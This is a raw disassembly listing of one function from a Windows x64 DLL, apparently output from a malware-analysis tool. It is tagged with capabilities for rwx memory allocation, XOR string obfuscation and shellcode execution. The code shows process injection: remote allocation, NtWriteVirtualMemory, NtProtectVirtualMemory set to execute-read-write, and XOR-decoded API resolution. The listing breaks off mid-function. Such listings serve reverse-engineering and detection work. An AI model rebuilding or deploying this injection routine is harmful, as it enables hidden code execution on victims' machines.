Function at 0x180022140
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2c8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
mov r14, rdx
xor r13d, r13d
mov r15, qword [rcx + 0x18]
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1800235b1
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, r15
call fcn.1800167a0
mov rsi, rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x1800221fb
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800221f1
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1800221ec
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov eax, 0xbb9
jmp 0x1800235ec
mov rdi, qword [r14 + 0x10]
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x18002220c
mov rbx, qword [r14]
mov rax, qword [0x180366bf8]
cmp dword [rax + 0x30], 0
je 0x18002228c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r15, rax
je 0x180022233
test r15, 0xffffffffa0000000
je 0x180022233
test r15b, 3
je 0x18002224a
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, r15
call qword [0x180366fe8]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 8], r13
mov qword [rbp], r13
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x10], rdi
mov qword [rbp - 0x20], r13
lea rdx, [rbp - 0x40]
mov ecx, recv
call fcn.18002c840
mov dword [0x1803670c8], eax
jmp 0x1800222a3
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
test al, al
jne 0x180022305
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r15
call fcn.18001bb70
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800222fb
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1800222f6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov eax, 0xbba
jmp 0x1800235ec
mov r12, r13
mov qword [rsp + 0x48], r13
mov rax, qword [0x180366bf8]
cmp dword [rax + 0x20], 1
jne 0x180022a20
mov edi, 0xbbb
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x80]
call fcn.1800a3160
nop
mov r13, qword [rbp - 0x80]
cmp r13, qword [rbp - 0x78]
je 0x180022922
lea rdi, [r13 + 0x30]
xor ecx, ecx
mov ebx, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rcx
lea rdx, [rdi + 0x200]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x180022370
lea rcx, [rbp + 0x30]
call fcn.180008da0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.1800a16d0
nop
movups xmm0, xmmword [str.GLEC_T_t_t_]
movups xmmword [rsp + 0x30], xmm0
movzx eax, word [0x18015c0f8]
mov word [rsp + 0x30], bx
xor word [rsp + 0x32], 0x35
xor word [rsp + 0x34], 0x36
xor word [rsp + 0x36], 0x37
xor word [rsp + 0x38], 0x38
xor word [rsp + 0x3a], 0x39
xor word [rsp + 0x3c], 0x3a
xor word [rsp + 0x3e], 0x3b
xor ax, 0x3c
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1800223f0
lea rcx, [rsp + 0x58]
mov rsi, qword [rsp + 0x70]
cmp rsi, 8
setae r12b
mov rbx, qword [rsp + 0x58]
cmovae rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
call fcn.180015730
cmp rax, 0xffffffffffffffff
je 0x180022470
test r12b, r12b
je 0x1800228e8
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180022468
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023635
mov rcx, rbx
jmp 0x1800228e3
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor ebx, ebx
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdi + r8*2], bx
jne 0x180022490
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.180008da0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.1800a16d0
nop
movups xmm3, xmmword [str._PDY_U_t_t]
movups xmmword [rbp + 0x10], xmm3
movsd xmm0, qword [0x18015c0d8]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x18015c0e0]
mov word [rbp + 0x28], ax
mov r8d, ebx
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r10d, 0x1f
cmp r12d, 2
jl 0x1800225da
movdqa xmm4, xmmword [0x1801602f0]
mov eax, 4
movd xmm6, eax
movd xmm5, r10d
movdqa xmm2, xmmword [0x1801600f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.4444444455555555]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x10], xmm2
movdqa xmm3, xmmword [0x180160100]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.4444444455555555]
movq xmm0, qword [rbp + 0x18]
xorps xmm2, xmm0
movq qword [rbp + 0x18], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x10]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1800225f0
lea rcx, [rbp + 0x10]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x180022630
lea r8, [rbp + 0x70]
mov rsi, qword [rbp + 0x88]
cmp rsi, 8
setae r9b
mov rbx, qword [rbp + 0x70]
cmovae r8, rbx
mov rdx, qword [rbp + 0x80]
cmp rdx, rax
jne 0x18002286b
lea rcx, [rbp + 0x10]
test rdx, rdx
je 0x180022698
lea rax, [rbp + 0x10]
sub r8, rax
nop word [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x18002286b
add rcx, 2
sub rdx, 1
jne 0x180022680
xor r11d, r11d
mov edi, r11d
movsd xmm0, qword [str.xZWStPXI_OG_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x18015c0b0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x18015c0b4]
mov byte [rsp + 0x3c], al
mov r8d, r11d
cmp r12d, 2
jl 0x1800227d4
movdqa xmm4, xmmword [0x1801602f0]
mov eax, 4
movd xmm6, eax
movd xmm5, r10d
movdqa xmm2, xmmword [0x1801600f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x180160230]
movd xmm0, dword [str.xZWStPXI_OG_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180160100]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x180160230]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800227e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r11
mov qword [rbp + 0x48], r11
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x180022830
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.180008fc0
lea rdx, [r13 + 0x230]
lea rcx, [rbp + 0x30]
call fcn.1800a4bb0
test eax, eax
je 0x180022977
mov r12d, eax
add r12, qword [r13 + 0x18]
jmp 0x180022981
test r9b, r9b
je 0x1800228a6
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18002289d
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002362f
mov rcx, rbx
call fcn.1800bdc0c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x1800228e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800228e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023635
call fcn.1800bdc0c
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], cx
add r13, 0x438
add rdi, 0x438
cmp r13, qword [rbp - 0x78]
jne 0x180022348
mov edi, 0xbbb
mov r12d, ecx
mov rsi, qword [rsp + 0x78]
xor r13d, r13d
lea rcx, [rbp - 0x80]
call fcn.180015220
test edi, edi
je 0x180022dca
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180022970
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18002296b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov eax, edi
jmp 0x1800235ec
mov edi, 0xbbc
mov r12, qword [rsp + 0x48]
cmp rsi, 8
jb 0x1800229bd
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1800229b4
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002362f
mov rcx, rbx
call fcn.1800bdc0c
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x1800229ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800229fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023635
call fcn.1800bdc0c
xor r13d, r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
mov rsi, qword [rsp + 0x78]
jmp 0x180022925
movsd xmm0, qword [0x18015c0b8]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x18015c0c0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x18015c0c4]
mov byte [rsp + 0x3c], al
mov r8d, r13d
mov edi, 0x1f
mov ebx, dword [reloc.WS2_32.dll_accept]
lea r12d, [rdi - 0x1b]
cmp ebx, 2
jl 0x180022b65
movdqa xmm4, xmmword [0x1801602f0]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x1801600f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
mov eax, dword [0x180160230]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x18015c0b8]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180160100]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180022b70
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
jne 0x180022bf7
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180022bed
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180022be8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov eax, 0xbbb
jmp 0x1800235ec
movsd xmm0, qword [str.xZWStPXI_OG_]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x18015c0b0]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x18015c0b4]
mov byte [rsp + 0x54], al
mov r8d, r13d
cmp ebx, 2
jl 0x180022d2d
movdqa xmm4, xmmword [0x1801602f0]
movd xmm6, r12d
movd xmm5, edi
movdqa xmm2, xmmword [0x1801600f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
mov eax, dword [0x180160230]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xZWStPXI_OG_]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x180160100]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180160110]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180160210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180022d40
lea rdx, [rsp + 0x48]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
jne 0x180022dca
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180022dc0
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180022dbb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov eax, 0xbbc
jmp 0x1800235ec
mov r8, rsi
mov rdx, r12
mov rcx, r15
call fcn.1800155d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r15
call fcn.18001bb70
mov rdi, qword [r14 + 0x10]
mov rbx, r14
mov rsi, qword [r14 + 0x18]
cmp rsi, 0x10
jb 0x180022e0b
mov rbx, qword [r14]
test rdi, rdi
je 0x180022ea0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call fcn.1800c0800
mov byte [rbp + 0xec], 1
lea rax, [rdi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x180022e9b
cmp rcx, rbx
je 0x180022ea0
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x180022e86
sub rcx, rbx
jmp 0x180022ea7
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, rdi
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
cmp rdi, rcx
jb 0x18002363b
mov rax, r14
cmp rsi, 0x10
jb 0x180022ed4
mov rax, qword [r14]
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x60]
call fcn.180008fc0
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r13, rax
xor esi, esi
movabs r11, 0x7fffffffffffffff
movabs r10, 0x7ffffffffffffffe
lea r12, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
setae r9b
cmovae r12, qword [rbp - 0x60]
add r12, qword [rbp - 0x50]
lea rbx, [rbp - 0x60]
test r9b, r9b
cmovne rbx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
cmp rbx, r12
jne 0x180022f50
mov eax, 7
mov qword [rbp - 0x68], rax
mov word [rbp - 0x80], si
jmp 0x180023066
mov rax, r12
sub rax, rbx
mov edi, 7
mov qword [rbp - 0x68], rdi
cmp rax, r10
ja 0x180023623
cmp rax, 8
jb 0x18002300e
mov rdi, rax
or rdi, 7
cmp rdi, r10
jbe 0x180022f87
mov rdi, r10
lea rcx, [r11 + r11]
jmp 0x180022fad
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, r11
ja 0x180023641
add rcx, rcx
cmp rcx, 0x1000
jb 0x180022fe7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180023641
mov rcx, rax
call fcn.1800bdbd0
mov rcx, rax
test rax, rax
je 0x18002364d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
xor r11d, r11d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
jmp 0x180023020
test rcx, rcx
je 0x180022ffe
call fcn.1800bdbd0
xor r11d, r11d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
jmp 0x180023020
xor r11d, r11d
mov eax, r11d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
jmp 0x180023020
xor r11d, r11d
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rdi, 8
cmovae rcx, qword [rbp - 0x80]
movsx eax, byte [rbx]
mov word [rcx + rsi*2], ax
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
inc rbx
cmp rbx, r12
je 0x18002304d
mov rdi, qword [rbp - 0x68]
jmp 0x180023020
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rax, qword [rbp - 0x80]
mov word [rax + rsi*2], r11w
mov rax, qword [rbp - 0x68]
xor esi, esi
lea rdx, [rbp - 0x80]
cmp rax, 8
cmovae rdx, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x180023090
lea rcx, [rsp + 0x58]
call fcn.180008da0
lea rax, [rsp + 0x58]
mov qword [rbp + 0x210], rax
mov rax, qword [0x180366bf8]
cmp dword [rax + 0x30], 0
setne r9b
mov ebx, dword [rax + 0x20]
cmp ebx, 2
sete r8b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov byte [rsp + 0x20], 0
mov rcx, r15
call fcn.180031c60
test rax, rax
jne 0x1800230f2
mov rbx, rsi
jmp 0x180023109
mov rcx, rax
cmp ebx, 2
je 0x1800230ff
mov ebx, dword [rax + 0x18]
jmp 0x180023103
mov rbx, qword [rax + 0x30]
call fcn.1800c9b48
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18002314b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023146
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023647
call fcn.1800bdc0c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18002319e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180023199
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002364d
call fcn.1800bdc0c
test rbx, rbx
jne 0x18002325b
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r13
cmp rax, 0x1388
jbe 0x180022ef8
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800231f7
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800231f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002365f
call fcn.1800bdc0c
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180023241
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18002323c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023629
mov rcx, r8
call fcn.1800bdc0c
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov eax, 0xbbd
jmp 0x1800235fc
cmp qword [rbp + 0x220], 0
je 0x180023518
mov r13, qword [rbp + 0x228]
test r13, r13
je 0x180023518
mov qword [rsp + 0x30], rbx
mov dword [rbp + 0x210], esi
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea r12, [rax + 0x2710]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, r12
ja 0x180023479
mov rdi, r15
and rdi, 0xffffffffa0000000
nop word [rax + rax]
mov qword [rsp + 0x78], r13
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [0x180366bf8]
cmp dword [rax + 0x30], 0
je 0x180023379
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r15, rax
je 0x180023343
test rdi, rdi
je 0x180023343
mov rbx, r15
and ebx, 3
jne 0x180023343
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 4], 0
mov dword [rbp + 4], esi
mov qword [rbp + 8], 0x25
mov qword [rbp - 0x38], r15
lea rax, [rsp + 0x48]
mov qword [rbp - 0x30], rax
lea rax, [rsp + 0x78]
mov qword [rbp - 0x20], rax
mov dword [rbp - 8], 0x40
lea rax, [rbp + 0x210]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x40]
lea ecx, [rbx + 0xc]
call fcn.18002c840
mov dword [0x1803670c8], eax
jmp 0x1800233a4
mov rax, qword [0x180367008]
lea rcx, [rbp + 0x210]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
mov rcx, r15
call rax
mov rbx, r15
and ebx, 3
mov dword [0x1803670c8], eax
jmp 0x1800233a4
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
mov rcx, r15
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov rbx, r15
and ebx, 3
mov rsi, qword [rsp + 0x30]
mov rax, qword [0x180366bf8]
cmp dword [rax + 0x30], 0
je 0x18002343d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r15, rax
je 0x1800233cf
test rdi, rdi
je 0x1800233cf
test rbx, rbx
je 0x1800233ed
xor r11d, r11d
mov qword [rsp + 0x20], r11
mov r9, r13
mov r8, qword [rbp + 0x220]
mov rdx, rsi
mov rcx, r15
call qword [0x180366fe8]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], rax
